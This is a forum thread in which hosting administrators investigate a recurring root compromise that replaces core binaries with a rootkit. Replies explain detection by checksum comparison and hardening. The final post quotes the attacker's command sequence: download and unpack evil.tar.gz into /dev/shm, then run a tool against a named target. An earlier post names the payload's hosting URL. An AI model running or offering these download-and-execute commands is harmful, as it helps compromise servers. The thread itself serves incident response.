Persistent Exploit

[acenetryan]

We've recently come across a rather popular hack. Several of our servers have already come across this. Originally, we thought it was related to the out of date kernels. The hack leaves behind :

/root/evil.tar.gz

Typical symptoms are the replacement of several core binaries. They include:

/bin/mv
/bin/mkdir
/bin/tar

sometimes:

/bin/ls

Rkhunter didn't turn up much.

We initially had this hack show up and noticed that our dedicated client was not up to date on his kernel. We reloaded the server/OS and installed the latest kernel. Within a day, the server is compromised again.

I'm investigating looking for the point of entry, but would like to see if anyone else has experienced this. On our other servers, reloading the OS and upgrading the kernel has seemed to prevent it, but it did in this latest case. Anyone else experience this?

I'll repost any information I uncover.

 

[acenetryan]

The hack seems to be installed from :

http://coke-coke.org/alatku/

 

[acenetryan]

Shortly after the initial reload, these appeared in /var/log/messages:

Nov 3 02:38:28 XXXXXX sshd[27667]: reverse mapping checking getaddrinfo for host-196.218.14.48.tedata.net failed - POSSIBLE BREAKIN ATTEMPT!
Nov 3 02:38:29 XXXXXX sshd[27667]: Accepted password for root from ::ffff:196.218.48.14 port 1747 ssh2
Nov 3 07:38:29 XXXXXX sshd[27668]: Accepted password for root from ::ffff:196.218.48.14 port 1747 ssh2

I understand that this error is usually a false positive since most ISPs don't have a reverse entry for all of their IPs. What concerns me is that the login succeeded right after.

 

[AndyReed]

We've recently come across a rather popular hack. Several of our servers have already come across this.

It sounds this hacker is not one those lazy or incompetent using using old rootkits with known bugs in them. You are probably dealing with an a hacker how knows what is he doing. If that's the case, it is nearly impossible to be certain that a system hasn't been compromised; if the system is online and running, and if the intruder was any good, it will be completely impossible to determine that a system has been hacked without first taking it offline.

The hack leaves behind :
/root/evil.tar.gz

Typical symptoms are the replacement of several core binaries. They include:

/bin/mv
/bin/mkdir
/bin/tar

sometimes:

/bin/ls

This is in no small part due to the prevalence of "rootkits," replacement system binaries that hide the signs of a compromised system from its users. For example, a rootkit may replace 'ps' with a version of the command that will not display information about particular processes, and may replace 'md5sum' with a version of the command that reports the expected --- though not accurate --- checksums for compromised system binaries. Other frequently-compromised binaries include ls, netstat, top; a relatively complete rootkit may include two dozen or more binaries, most of which are trojaned versions of standard system commands.

The standard approach to proving that a rootkit has been installed on a particular system is to boot the system from a known secure operating system install, such as a rescue CD or single-floppy Linux distribution, and (using a known-safe copy of md5sum) compare the checksums of system binaries to checksums from the genuine article.

Recently, conventional rootkits have begun supplanting 'kernel module rootkits', which are much more difficult to detect. But on systems compromised with conventional rootkits, comparison is still the best approach -- one made easier with the help of several utilities.

Another good way to tell if a system has been compromised is to check to see if the ports that 'netstat' reports as listening exactly match the set of ports that 'nmap' -- a scanning tool -- reports when run from a remote system. A clever hacker will hide his backdoors with IP Chains or IP Tables, but oftentimes a backdoor will be globally accessible.

In general, if you can show discrepancies between the system's behavior and its expected behavior, you may have a hacked system. (Then again, you may just have found a bug.)

I suggest you secure and harden your server right after OS reload. Good luck

 

[acenetryan]

Thank you, Andy.

I'm already pretty sure that this server is compromised. Whether it is or not, I've seen enough strange behaviour on this server to warrant a reload.

The scary part is that this server had a fresh reload right before the second hack. This server was hacked once before. We then reloaded and secured the server. I logged in today and noticed the hacks.

I mentioned above that we've seen this hack before and noticed a correlation between the hacked servers and the out of date kernels. It's possible that the attacker got back in right before we rebooted to have the new kernel take effect.

My main intention with this thread is to see if anyone has come across this before and is able to pinpoint the point of entry for this hack.

We're going to try reloading and install the latest kernel prior to bringing it online. We've had a similar occurance on another server and waiting to bring the server online until after a full kernel update seems to have done the trick. It's either automated or a kiddie with no life, but they hit the server again as soon as it is accessible.

 

[networxhosting]

I would install the OS and the firewall and do any hardening before assigning the final IP to the system, you could either put the system behind a gateway/firewall or just give it another IP. Of course you will want to assign the final IP to the system before finishing your CPanel install.

Oh another thing you will want to do is change the passwords. Any hacker worth his salt will download your shadow password file as soon as he roots the server. He will then brute force the hashes until he has the original passwords. (A couple of days max)

 

[nyjimbo]

It sounds this hacker is not one those lazy or incompetent using using old rootkits with known bugs in them. You are probably dealing with an a hacker how knows what is he doing.

Yeah, but leaving behind "/root/evil.tar.gz" isn't exactly covering his tracks.

:p

 

[ramprage]

gunakan find / -type d -perm 777

cd /dev/shm;wget www.geocities.com/fileremoved for kiddies for forum protection
cd /dev/shm;tar -zvxf evil.tar.gz
cd /dev/shm/evil;./vadim 202.51.231.38 389 nasa.gov


It seems like some kind of IRC bot as well:
if {[lindex $ping 0] == "0"} { putserv "PRIVMSG $channel :IP


Make sure you have the latest kernel.
Make sure you limit acces to compilers and system binaries like wget.
Make sure you have a new version of mod_security rules to block these kind of attempts.